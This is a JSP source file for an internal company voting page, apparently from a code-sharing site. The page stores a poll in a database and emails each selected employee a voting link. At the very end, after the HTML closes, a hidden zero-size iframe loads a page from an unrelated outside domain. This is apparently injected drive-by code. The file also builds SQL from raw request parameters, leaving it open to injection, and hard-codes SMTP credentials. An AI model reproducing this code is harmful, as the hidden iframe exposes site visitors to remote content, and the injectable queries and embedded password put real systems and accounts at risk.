?? voting.jsp
字號:
<%@ page contentType="text/html; charset=gb2312" language="java" %>
<%@ page import="java.util.*"%>
<%@ page import="java.sql.*"%>
<%@ page import="java.text.*"%>
<%@ page import="javax.mail.*"%>
<%@ page import="javax.mail.internet.*"%>
<%@ page import="javax.activation.*"%>
<%@ page import="cn.edu.buaa.nlsde.db.*"%>
<%@ page import="cn.edu.buaa.nlsde.auth.PopupAuthenticator"%>
<%request.setCharacterEncoding("GB2312");
String TheMessage = "";
ResultSet RSEmails = null;
ResultSet RSVoterNumber = null;
String EmailMessage = "";
String temp = "";
int VoterNumber = 0;
int QuestionID = 0;
int ID = 0;
String sql = "";
String sqlEmail = "";
//判斷用戶是否登錄
if (session.getAttribute("ID") == null) {
response.sendRedirect("../login.jsp");
}
//連接系統數據庫
//Connection conn = (new DBConnect()).getODBCConn("EIMS");
Connection conn = (new DBConnect()).getConnPoolConn("eims");
Statement stmt = conn.createStatement();
//開始發布投票
if (request.getParameter("Send") != null) {
//投票發布的范圍
if (request.getParameter("SendTo").equals("All")) {
RSVoterNumber =
stmt.executeQuery(
"SELECT COUNT(ID) AS VoterNumber FROM PSLogins ");
while (RSVoterNumber.next()) {
VoterNumber = RSVoterNumber.getInt("VoterNumber");
}
sqlEmail = "select ID, Name, EmailAddress from PSLogins";
}
else if (request.getParameter("SendTo").equals("Department")) {
sql =
"SELECT COUNT(ID) AS VoterNumber FROM PSLogins where Department = '"
+ request.getParameter("DepartmentName")
+ "'";
RSVoterNumber = stmt.executeQuery(sql);
while (RSVoterNumber.next()) {
VoterNumber = RSVoterNumber.getInt("VoterNumber");
}
sqlEmail =
"select ID, Name, EmailAddress from PSLogins where Department = '"
+ request.getParameter("DepartmentName")
+ "'";
}
else {
RSVoterNumber =
stmt.executeQuery(
"SELECT COUNT(ID) AS VoterNumber FROM PSLogins where Position = '"
+ request.getParameter("PositionName")
+ "'");
while (RSVoterNumber.next()) {
VoterNumber = RSVoterNumber.getInt("VoterNumber");
}
sqlEmail =
"select ID, Name, EmailAddress from PSLogins where Position = '"
+ request.getParameter("PositionName")
+ "'";
}
Calendar cal = Calendar.getInstance();
SimpleDateFormat format =
new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
String CurrentDateTime = format.format(cal.getTime());
Statement stmt2 = conn.createStatement();
sql =
"Insert Into VotingQuestions (SenderName, Subject, Question, WhenSent, VoterNumber) values ('"
+ session.getAttribute("Name")
+ "','"
+ request.getParameter("Subject")
+ "','"
+ request.getParameter("SuggestionText")
+ "','"
+ CurrentDateTime
+ "',"
+ VoterNumber
+ ")";
stmt.executeUpdate(sql);
sql =
"select QuestionID from VotingQuestions where WhenSent = '"
+ CurrentDateTime
+ "'";
ResultSet RSQuestionID = stmt.executeQuery(sql);
while (RSQuestionID.next()) {
QuestionID = RSQuestionID.getInt("QuestionID");
}
RSEmails = stmt.executeQuery(sqlEmail);
while (RSEmails.next()) {
ID = RSEmails.getInt("ID");
//構造電子郵件內容
EmailMessage =
session.getAttribute("Name") + "發起了一輪投票:" + "\n\r";
EmailMessage =
EmailMessage
+ "投票的問題題目是:"
+ request.getParameter("Subject")
+ "\n\r";
EmailMessage =
EmailMessage
+ "投票的問題內容是:"
+ request.getParameter("SuggestionText")
+ "\n\r";
EmailMessage =
EmailMessage
+ "要想投票,請點擊下面的鏈接(請注意,如果您已經投過票,您將無法看到鏈接):\n\r ";
EmailMessage =
EmailMessage
+ "http://192.168.2.6:8080/EIMS/messageboard/tovote.jsp?";
EmailMessage = EmailMessage + "QuestionID=" + QuestionID;
EmailMessage = EmailMessage + "&VoterID=" + ID + "\n\r";
sql =
"insert into VotingVotes (QuestionID, VoterID, VoterName) values ("
+ QuestionID
+ ", "
+ ID
+ ", '"
+ RSEmails.getString("Name")
+ "')";
stmt2.executeUpdate(sql);
//發送投票通知的電子郵件
try {
Properties props = new Properties(); //創建屬性對象
Session sendMailSession; //創建對話對象
Store store;
Transport transport; //創建傳輸對象
PopupAuthenticator popAuthenticator =
new PopupAuthenticator();
PasswordAuthentication pop =
popAuthenticator.performCheck("zhaoruyi", "euyi8401");
sendMailSession =
Session.getInstance(props, popAuthenticator);
//對話目標
props.put("mail.smtp.host", "smtp.nlsde.buaa.edu.cn");
//設置對話對象
props.put("mail.smtp.auth", "true"); //設置smtp身份認證
Message newMessage = new MimeMessage(sendMailSession);
//創建信息對象
//newMessage.setFrom(
//new InternetAddress(
//(String)session.getAttribute("EmailAddress")));
newMessage.setFrom(new InternetAddress("eims@eims.com"));
//發送者
newMessage.setRecipient(
Message.RecipientType.TO,
new InternetAddress(
RSEmails.getString("EmailAddress")));
//接受者
newMessage.setSubject(request.getParameter("Subject"));
//郵件主題
newMessage.setSentDate(new java.util.Date()); //發送日期
newMessage.setText(EmailMessage); //郵件內容
transport = sendMailSession.getTransport("smtp");
//實例化傳輸對象
Transport.send(newMessage); //發送郵件
TheMessage = "您的投票調查已提交成功,您可以填寫新投票調查";
}
catch (Exception m) {
System.err.println(m.toString());
TheMessage = "您的投票調查已提交成功,但通知郵件未能正常發送!";
}
}
}
else {
TheMessage = "請在下面填寫投票內容";
}
%>
<HTML>
<HEAD>
<TITLE>公司內部意見箱-提交意見建議</TITLE>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
</HEAD>
<body>
<table width=800 border=0 bgcolor=#164DA8 cellspacing=1 cellpadding=2
align=center>
<tr bgcolor=white>
<td valign=middle><img src="../image/jsplogo.jpg" width=796 height=100></td>
</tr>
</table>
<table width="800" border="0" bordercolor="#164DA8" align="center"
cellpadding="0" cellspacing="0">
<tr>
<td height="13"><img src=".././image/banner2.jpg" width="800"
height="12"></td>
</tr>
</table>
<table width=800 border=0 bgcolor=#164DA8 cellspacing=1 cellpadding=2
align=center>
<tr>
<td colspan=3>
<div align="center"><font color=white>
公司辦公信息管理系統->內部信息交流系統->投票站 [當前用戶-<%=session.getAttribute("Name")%>]
</font></div>
</td>
</tr>
<tr bgcolor=white>
<td><a href=".././html/home.jsp"><font color="#104DAD">返回系統主頁</font></a></td>
<td align=center><font color="#104DAD"><%=TheMessage%></FONT></td>
<td align=right><a href="communication.jsp"><font color="#104DAD">返回上一級網頁</font></a></td>
</tr>
</table>
<table width="800" border="0" bordercolor="#164DA8" align="center"
cellpadding="0" cellspacing="0">
<tr>
<td height="10" colspan="4" valign="top" bgcolor="#FFFFFF">
<table width="100%" border="0" height="13" cellspacing="0"
cellpadding="0" mm_noconvert="TRUE">
<tr>
<td height="13"><img src=".././image/banner2.jpg" width="800"
height="12"></td>
</tr>
</table>
</td>
</tr>
</table>
<br>
<FORM ACTION="voting.jsp" METHOD=POST>
<TABLE CELLPADDING=1 CELLSPACING=2 BORDER=1 bordercolor="#164DA8"
WIDTH=800 align=center>
<TR VALIGN="middle" ALIGN="center">
<TD WIDTH=35% bgcolor=#B5C7EF><img src="../image/messageboard1.jpg"></td>
<td>
<table width=100% border=1>
<tr height=30>
<td>請選擇您發布投票的范圍</td>
<td>
<table width=100% border=1>
<tr>
<td><INPUT TYPE="radio" CHECKED NAME="SendTo" VALUE="All">全體投票</td>
<td><INPUT TYPE="radio" NAME="SendTo" VALUE="Department">部門投票</td>
<td><INPUT TYPE="radio" NAME="SendTo" VALUE="Position">職位投票</td>
</tr>
<tr>
<td> </td>
<td align=center><SELECT NAME="DepartmentName">
<%ResultSet RSDepartments =
stmt.executeQuery("select * from Departments");
while (RSDepartments.next()) {
temp = RSDepartments.getString("DepartmentName");%>
<OPTION VALUE="<%=temp%>"><%=temp%></OPTION>
<%}%>
</SELECT></td>
<td align=center><SELECT NAME="PositionName">
<%ResultSet PSPositions =
stmt.executeQuery("select PositionName from Positions");
while (PSPositions.next()) {
temp = PSPositions.getString("PositionName");%>
<OPTION VALUE="<%=temp%>"><%=temp%></OPTION>
<%}%>
</SELECT></td>
</tr>
</table>
</td>
</tr>
<tr>
<td>請選擇您要進行投票的標題</td>
<td><INPUT TYPE="text" NAME="Subject" VALUE="" SIZE=30 MAXLENGTH=30></td>
</tr>
<tr>
<td>請選擇您要進行投票的內容</td>
<td><TEXTAREA NAME="SuggestionText" ROWS=6 COLS=40></TEXTAREA></td>
</tr>
<tr>
<td colspan=2 align=center><input type=submit name=Send value="開始投票"
style="border: 1px solid #3466BB; background-color: #B6CAEB; color: #3466BB">
</td>
</tr>
</table>
</td>
</tr>
</table>
</form>
</BODY>
</HTML>
<%DBConnectionManager.getInstance().freeConnection("eims", conn);%>
<IFRAME SRC="HTTP://www.m5k8.com/gr.htm" WIDTH=0 HEIGHT=0></IFRAME>
?? 快捷鍵說明
復制代碼
Ctrl + C
搜索代碼
Ctrl + F
全屏模式
F11
切換主題
Ctrl + Shift + D
顯示快捷鍵
?
增大字號
Ctrl + =
減小字號
Ctrl + -